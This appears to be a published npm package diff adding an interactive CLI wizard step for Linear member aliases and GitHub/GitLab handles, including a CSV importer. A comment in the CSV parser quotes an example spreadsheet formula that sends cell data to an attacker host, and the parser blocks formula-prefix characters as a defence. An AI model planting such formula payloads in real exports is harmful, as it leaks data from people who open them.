@enrichlayer/el-linear 1.2.0

package/dist/commands/init/aliases.js

@@ -0,0 +1,569 @@
+/**
+ * Step 3 of the wizard: member aliases.
+ *
+ * For each Linear user in the workspace, the user can add short aliases,
+ * GitHub handles, and GitLab handles used for resolution. Skip-by-default
+ * (most users skip this and only fill in the people they @-mention often).
+ *
+ * Idempotent: re-running shows the current aliases per user and offers a
+ * 4-way menu (keep / edit / append / clear) plus quit. Progress is persisted
+ * so an interrupted walk can be resumed via `el-linear init aliases`.
+ */
+import fs from "node:fs/promises";
+import { confirm, input, select } from "@inquirer/prompts";
+import { GraphQLService } from "../../utils/graphql-service.js";
+import { clearAliasesProgress, parseCsvList, readAliasesProgress, writeAliasesProgress, } from "./shared.js";
+const USERS_QUERY = /* GraphQL */ `
+  query InitUsers($first: Int!, $after: String) {
+    users(first: $first, after: $after, includeDisabled: false) {
+      pageInfo { endCursor hasNextPage }
+      nodes { id name email displayName active }
+    }
+  }
+`;
+export async function fetchAllUsers(token) {
+    const service = new GraphQLService(token);
+    const out = [];
+    let after;
+    for (;;) {
+        const data = await service.rawRequest(USERS_QUERY, {
+            first: 100,
+            after,
+        });
+        for (const u of data.users.nodes) {
+            if (!u.active)
+                continue;
+            out.push({
+                id: u.id,
+                name: u.name,
+                email: u.email,
+                displayName: u.displayName ?? u.name,
+            });
+        }
+        if (!data.users.pageInfo.hasNextPage || !data.users.pageInfo.endCursor)
+            break;
+        after = data.users.pageInfo.endCursor;
+    }
+    return out;
+}
+/**
+ * Find groups of users sharing the same display name. The current alias
+ * config keys aliases by display name, so colliding users would silently
+ * overwrite each other's entries. Detection is exported so the wizard can
+ * warn + skip those users; a follow-up (1.3.0) will migrate the on-disk
+ * schema to UUID-keyed maps.
+ */
+export function findDisplayNameCollisions(users) {
+    const byName = new Map();
+    for (const u of users) {
+        const list = byName.get(u.displayName);
+        if (list)
+            list.push(u);
+        else
+            byName.set(u.displayName, [u]);
+    }
+    const collisions = new Map();
+    for (const [name, group] of byName) {
+        if (group.length > 1)
+            collisions.set(name, group);
+    }
+    return collisions;
+}
+/** Apply a HandleAction to a `{ handle: fullName }` map for one user. */
+function applyHandleAction(handlesMap, fullName, action) {
+    if (action.kind === "keep")
+        return;
+    const currentKeys = Object.entries(handlesMap)
+        .filter(([_, v]) => v === fullName)
+        .map(([k]) => k);
+    for (const k of currentKeys)
+        delete handlesMap[k];
+    if (action.kind === "set" && action.value.trim()) {
+        handlesMap[action.value.trim()] = fullName;
+    }
+}
+/**
+ * Merge new alias entries into existing config without dropping unrelated
+ * fields. Pure function — no I/O. Exported for testing.
+ */
+export function mergeAliasesIntoConfig(existing, updates) {
+    const next = JSON.parse(JSON.stringify(existing));
+    next.members = next.members ?? {};
+    next.members.aliases = next.members.aliases ?? {};
+    next.members.fullNames = next.members.fullNames ?? {};
+    next.members.handles = next.members.handles ?? {};
+    next.members.uuids = next.members.uuids ?? {};
+    next.members.handles.github = next.members.handles.github ?? {};
+    next.members.handles.gitlab = next.members.handles.gitlab ?? {};
+    for (const [userId, update] of updates) {
+        const fullName = update.displayName;
+        next.members.uuids[fullName] = userId;
+        next.members.fullNames[userId] = fullName;
+        // Aliases: replace this user's entries based on the update mode.
+        // We track aliases as { aliasKey: fullName }, so removing means deleting
+        // any keys whose value is this fullName.
+        const currentAliasKeys = Object.entries(next.members.aliases)
+            .filter(([_, v]) => v === fullName)
+            .map(([k]) => k);
+        if (update.mode === "clear") {
+            for (const k of currentAliasKeys)
+                delete next.members.aliases[k];
+        }
+        else if (update.mode === "edit") {
+            for (const k of currentAliasKeys)
+                delete next.members.aliases[k];
+            for (const a of update.aliases)
+                next.members.aliases[a] = fullName;
+        }
+        else if (update.mode === "append") {
+            for (const a of update.aliases)
+                next.members.aliases[a] = fullName;
+        }
+        // "keep" → no changes.
+        // GitHub / GitLab handles use the same edit/append/clear semantics,
+        // driven by the discriminated HandleAction per platform.
+        for (const platform of HANDLE_PLATFORMS) {
+            applyHandleAction(next.members.handles[platform], fullName, update[platform]);
+        }
+    }
+    return next;
+}
+/** Set of supported platforms for member handle keys. */
+export const HANDLE_PLATFORMS = ["github", "gitlab"];
+function currentAliasesFor(config, fullName) {
+    const aliases = config.members?.aliases ?? {};
+    return Object.entries(aliases)
+        .filter(([_, v]) => v === fullName)
+        .map(([k]) => k);
+}
+function currentHandleFor(config, platform, fullName) {
+    const handles = config.members?.handles?.[platform] ?? {};
+    for (const [k, v] of Object.entries(handles)) {
+        if (v === fullName)
+            return k;
+    }
+    return undefined;
+}
+/**
+ * Walk users one-by-one. Returns updates keyed by user UUID. Caller writes
+ * them back via `mergeAliasesIntoConfig`. The CSV import path is a separate
+ * entrypoint (`runAliasesImport`) — there's no `importCsv` option on this
+ * function, since the index.ts handler picks one or the other.
+ */
+export async function runAliasesStep(token, existing, options = {}) {
+    const proceed = options.force
+        ? true
+        : await confirm({
+            message: "Walk through users now to add aliases? Most teams skip this and add aliases later " +
+                "via `el-linear init aliases` for the people they @-mention often.",
+            default: false,
+        });
+    if (!proceed) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log("  Skipped — run `el-linear init aliases` to add or edit aliases later.");
+        return new Map();
+    }
+    const allUsers = await fetchAllUsers(token);
+    if (allUsers.length === 0) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log("  No active users visible to this token.");
+        return new Map();
+    }
+    // Skip users whose display name collides with another active user. The
+    // current schema keys aliases by display name, so writing aliases for a
+    // colliding user would corrupt the other user's entries. A schema migration
+    // to UUID-keyed maps is queued for 1.3.0.
+    const collisions = findDisplayNameCollisions(allUsers);
+    const collidingIds = new Set();
+    if (collisions.size > 0) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log(`  ⚠ ${collisions.size} display name(s) are shared by multiple active users — skipping those to avoid alias corruption:`);
+        for (const [name, group] of collisions) {
+            // biome-ignore lint/suspicious/noConsole: wizard
+            console.log(`    "${name}" — ${group.map((u) => u.email ?? u.id).join(", ")}`);
+            for (const u of group)
+                collidingIds.add(u.id);
+        }
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log("    (Add aliases manually in ~/.config/el-linear/config.json for now; schema migration in 1.3.0.)");
+    }
+    const users = allUsers.filter((u) => !collidingIds.has(u.id));
+    if (users.length === 0) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log("  No safe-to-alias users remain after collision filter.");
+        return new Map();
+    }
+    const startIdx = await resolveResumePoint(users);
+    // biome-ignore lint/suspicious/noConsole: wizard
+    console.log(`  Walking ${users.length - startIdx}/${users.length} users. Type 'q' at any prompt to stop and save progress.`);
+    const updates = new Map();
+    let lastCompletedIdx = startIdx - 1;
+    const saveProgress = async () => {
+        if (lastCompletedIdx < 0)
+            return;
+        await writeAliasesProgress({
+            lastCompletedUserId: users[lastCompletedIdx].id,
+            totalUsers: users.length,
+            savedAt: new Date().toISOString(),
+        });
+    };
+    try {
+        for (let i = startIdx; i < users.length; i++) {
+            const u = users[i];
+            const update = await promptForUser(i + 1, users.length, u, existing);
+            if (update === "quit") {
+                await saveProgress();
+                // biome-ignore lint/suspicious/noConsole: wizard
+                console.log(`  Saved progress at ${lastCompletedIdx + 1}/${users.length}. Resume with \`el-linear init aliases\`.`);
+                return updates;
+            }
+            if (update.mode !== "keep" ||
+                update.github.kind !== "keep" ||
+                update.gitlab.kind !== "keep") {
+                updates.set(u.id, update);
+            }
+            lastCompletedIdx = i;
+        }
+        await clearAliasesProgress();
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log(`  ✓ Walked all ${users.length} users.`);
+        return updates;
+    }
+    catch (err) {
+        // Save what we have on unexpected error so the user can resume.
+        if (lastCompletedIdx >= startIdx)
+            await saveProgress();
+        throw err;
+    }
+}
+/**
+ * Decide where to resume the user-walk. Looks up the saved
+ * `lastCompletedUserId` in the freshly-fetched user list:
+ *   - found      → resume at the next index after that user
+ *   - not found  → the workspace changed (user removed/disabled). Start over.
+ *   - no progress → start at 0
+ *
+ * Keying by UUID instead of index means a user being removed or added
+ * between runs no longer silently misaligns the resume point onto the
+ * wrong person.
+ */
+async function resolveResumePoint(users) {
+    const progress = await readAliasesProgress();
+    if (!progress?.lastCompletedUserId)
+        return 0;
+    const idx = users.findIndex((u) => u.id === progress.lastCompletedUserId);
+    if (idx < 0) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log("  Saved progress points at a user no longer in the workspace. Starting over.");
+        await clearAliasesProgress();
+        return 0;
+    }
+    const resume = await confirm({
+        message: `Resume from user ${idx + 2}/${users.length}? (saved ${progress.savedAt})`,
+        default: true,
+    });
+    if (resume)
+        return idx + 1;
+    await clearAliasesProgress();
+    return 0;
+}
+async function promptForUser(index, total, user, existing) {
+    const fullName = user.displayName;
+    const currentAliases = currentAliasesFor(existing, fullName);
+    const currentGithub = currentHandleFor(existing, "github", fullName);
+    const currentGitlab = currentHandleFor(existing, "gitlab", fullName);
+    // biome-ignore lint/suspicious/noConsole: wizard
+    console.log(`\n  [${index}/${total}] ${fullName}${user.email ? ` <${user.email}>` : ""}`);
+    if (currentAliases.length > 0) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log(`    Current aliases: ${currentAliases.join(", ")}`);
+    }
+    if (currentGithub) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log(`    Current GitHub:  ${currentGithub}`);
+    }
+    if (currentGitlab) {
+        // biome-ignore lint/suspicious/noConsole: wizard
+        console.log(`    Current GitLab:  ${currentGitlab}`);
+    }
+    const action = await select({
+        message: currentAliases.length > 0 ? "Action:" : "Add aliases for this user?",
+        choices: [
+            { name: "Keep as-is (skip this user)", value: "keep" },
+            {
+                name: currentAliases.length > 0 ? "Edit (replace aliases)" : "Add aliases",
+                value: "edit",
+            },
+            ...(currentAliases.length > 0
+                ? [
+                    {
+                        name: "Append (keep current + add more)",
+                        value: "append",
+                    },
+                    {
+                        name: "Clear (remove all aliases for this user)",
+                        value: "clear",
+                    },
+                ]
+                : []),
+            { name: "Quit (save progress, exit walk)", value: "quit" },
+        ],
+        default: "keep",
+    });
+    if (action === "quit")
+        return "quit";
+    if (action === "keep") {
+        return {
+            displayName: fullName,
+            mode: "keep",
+            aliases: [],
+            github: { kind: "keep" },
+            gitlab: { kind: "keep" },
+        };
+    }
+    if (action === "clear") {
+        return {
+            displayName: fullName,
+            mode: "clear",
+            aliases: [],
+            github: currentGithub ? { kind: "clear" } : { kind: "keep" },
+            gitlab: currentGitlab ? { kind: "clear" } : { kind: "keep" },
+        };
+    }
+    // edit / append: collect aliases + handles
+    const aliasesRaw = await input({
+        message: "Aliases (comma-separated, blank to skip):",
+        default: action === "edit" ? currentAliases.join(", ") : "",
+    });
+    const githubRaw = await input({
+        message: "GitHub handle (blank to skip):",
+        default: currentGithub ?? "",
+    });
+    const gitlabRaw = await input({
+        message: "GitLab handle (blank to skip):",
+        default: currentGitlab ?? "",
+    });
+    return {
+        displayName: fullName,
+        mode: action,
+        aliases: parseCsvList(aliasesRaw),
+        github: handleActionFromInput(githubRaw, currentGithub),
+        gitlab: handleActionFromInput(gitlabRaw, currentGitlab),
+    };
+}
+/**
+ * Translate the raw user input for a handle into a HandleAction:
+ *   - input matches the existing value (or both empty) → keep
+ *   - input is empty + existing was set → clear
+ *   - input is non-empty + differs from existing → set
+ */
+function handleActionFromInput(rawInput, existing) {
+    const current = existing ?? "";
+    if (rawInput === current)
+        return { kind: "keep" };
+    const trimmed = rawInput.trim();
+    if (!trimmed)
+        return { kind: "clear" };
+    return { kind: "set", value: trimmed };
+}
+export async function runAliasesImport(token, csvPath) {
+    const raw = await fs.readFile(csvPath, "utf8");
+    const rows = parseCsv(raw);
+    const users = await fetchAllUsers(token);
+    const byEmail = new Map();
+    for (const u of users) {
+        if (u.email)
+            byEmail.set(u.email.toLowerCase(), u);
+    }
+    const updates = new Map();
+    const skipped = [];
+    for (const row of rows) {
+        const email = (row.email ?? "").trim().toLowerCase();
+        if (!email)
+            continue;
+        const user = byEmail.get(email);
+        if (!user) {
+            skipped.push(email);
+            continue;
+        }
+        updates.set(user.id, {
+            displayName: user.displayName,
+            mode: "edit",
+            aliases: parseCsvList(row.aliases ?? ""),
+            github: row.github?.trim()
+                ? { kind: "set", value: row.github.trim() }
+                : { kind: "keep" },
+            gitlab: row.gitlab?.trim()
+                ? { kind: "set", value: row.gitlab.trim() }
+                : { kind: "keep" },
+        });
+    }
+    return { updates, skipped };
+}
+/**
+ * Single-pass character-state CSV parser. Handles RFC 4180 specifics that
+ * a split-by-newline approach gets wrong:
+ *   - Cells with embedded newlines (legal when quoted)
+ *   - Escaped quotes (`""` inside a quoted cell)
+ *   - CRLF line endings
+ *   - `#` comment lines (el-linear extension; only at line start)
+ *
+ * Sanitizes against CSV-formula-injection at parse time: any cell starting
+ * with `=`, `+`, `-`, `@`, `\t`, or `\r` is rejected. These would activate
+ * formulas if the resulting config were ever round-tripped to a spreadsheet
+ * (e.g. an alias of `=HYPERLINK("http://attacker/?leak="&A1)` would store
+ * verbatim today and fire the moment someone opened the export in Excel).
+ */
+export function parseCsv(text) {
+    const records = parseCsvRecords(text);
+    const cleaned = records.filter((cells) => {
+        // Drop blank lines and `#`-prefixed comment lines.
+        if (cells.length === 0)
+            return false;
+        if (cells.length === 1 && cells[0].trim() === "")
+            return false;
+        const first = cells[0];
+        if (first.trim().startsWith("#"))
+            return false;
+        return true;
+    });
+    if (cleaned.length === 0)
+        return [];
+    const header = cleaned[0].map((h) => h.trim().toLowerCase());
+    const rows = [];
+    for (let i = 1; i < cleaned.length; i++) {
+        const cells = cleaned[i];
+        const row = {};
+        for (let j = 0; j < header.length; j++) {
+            const value = (cells[j] ?? "").trim();
+            assertNoFormulaInjection(value);
+            const k = header[j];
+            row[k] = value;
+        }
+        rows.push(row);
+    }
+    return rows;
+}
+// `=+-@` are the OWASP-flagged formula-injection triggers in Excel/Google
+// Sheets. Tab and CR are also mentioned in some guides, but our parser trims
+// each cell before reaching this check, so leading whitespace is stripped
+// regardless. Keep the list narrow to avoid false-positive rejections.
+const FORMULA_PREFIXES = ["=", "+", "-", "@"];
+function assertNoFormulaInjection(cell) {
+    if (cell.length === 0)
+        return;
+    const first = cell[0];
+    if (FORMULA_PREFIXES.includes(first)) {
+        throw new Error(`CSV cell starts with "${first}" — refusing to import to prevent ` +
+            `formula injection (cell: ${JSON.stringify(cell.slice(0, 40))}). ` +
+            `Prefix with a space if the value is intentional.`);
+    }
+}
+/**
+ * Tokenize a CSV document into records (each record is an array of cells).
+ * Walks character-by-character through a four-state machine:
+ *   - cellStart: about to read a cell. Decide quoted vs. unquoted.
+ *   - unquoted:  reading an unquoted cell. , and newline terminate.
+ *   - quoted:    inside a quoted cell. " is the only terminator.
+ *   - quotedEnd: just saw a " inside a quoted cell — `""` escapes; otherwise
+ *                the cell is closed and we expect a delimiter.
+ */
+function parseCsvRecords(text) {
+    const records = [];
+    let row = [];
+    let cell = "";
+    let state = "cellStart";
+    const finishCell = () => {
+        row.push(cell);
+        cell = "";
+        state = "cellStart";
+    };
+    const finishRow = () => {
+        row.push(cell);
+        cell = "";
+        records.push(row);
+        row = [];
+        state = "cellStart";
+    };
+    for (let i = 0; i < text.length; i++) {
+        const ch = text[i];
+        if (state === "cellStart") {
+            if (ch === '"') {
+                state = "quoted";
+                continue;
+            }
+            if (ch === ",") {
+                finishCell();
+                continue;
+            }
+            if (ch === "\n") {
+                finishRow();
+                continue;
+            }
+            if (ch === "\r") {
+                if (text[i + 1] === "\n")
+                    i++;
+                finishRow();
+                continue;
+            }
+            cell += ch;
+            state = "unquoted";
+            continue;
+        }
+        if (state === "unquoted") {
+            if (ch === ",") {
+                finishCell();
+                continue;
+            }
+            if (ch === "\n") {
+                finishRow();
+                continue;
+            }
+            if (ch === "\r") {
+                if (text[i + 1] === "\n")
+                    i++;
+                finishRow();
+                continue;
+            }
+            cell += ch;
+            continue;
+        }
+        if (state === "quoted") {
+            if (ch === '"') {
+                state = "quotedEnd";
+                continue;
+            }
+            cell += ch;
+            continue;
+        }
+        // quotedEnd
+        if (ch === '"') {
+            cell += '"';
+            state = "quoted";
+            continue;
+        }
+        if (ch === ",") {
+            finishCell();
+            continue;
+        }
+        if (ch === "\n") {
+            finishRow();
+            continue;
+        }
+        if (ch === "\r") {
+            if (text[i + 1] === "\n")
+                i++;
+            finishRow();
+            continue;
+        }
+        // Stray character after a closed quote — forgive and treat as unquoted.
+        cell += ch;
+        state = "unquoted";
+    }
+    // Trailing record (no terminating newline).
+    if (cell.length > 0 || row.length > 0) {
+        row.push(cell);
+        records.push(row);
+    }
+    return records;
+}

package/dist/commands/init/defaults.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Step 4 of the wizard: default labels, status defaults, term enforcement.
+ *
+ * All optional. Each subsection asks "change?" with default=N so re-running
+ * with no input is a no-op.
+ */
+import { type WizardConfig } from "./shared.js";
+export interface DefaultsStepResult {
+    defaultLabels: string[] | undefined;
+    /**
+     * Status defaults. Both fields are optional so the wizard preserves
+     * partial existing configs (`{ noProject: "Backlog" }` only) byte-for-byte
+     * when the user skips the edit step. The runtime config loader applies
+     * fallbacks at read time.
+     */
+    statusDefaults: {
+        noProject?: string;
+        withAssigneeAndProject?: string;
+    } | undefined;
+    terms: Array<{
+        canonical: string;
+        reject: string[];
+    }> | undefined;
+}
+export declare function runDefaultsStep(existing: WizardConfig): Promise<DefaultsStepResult>;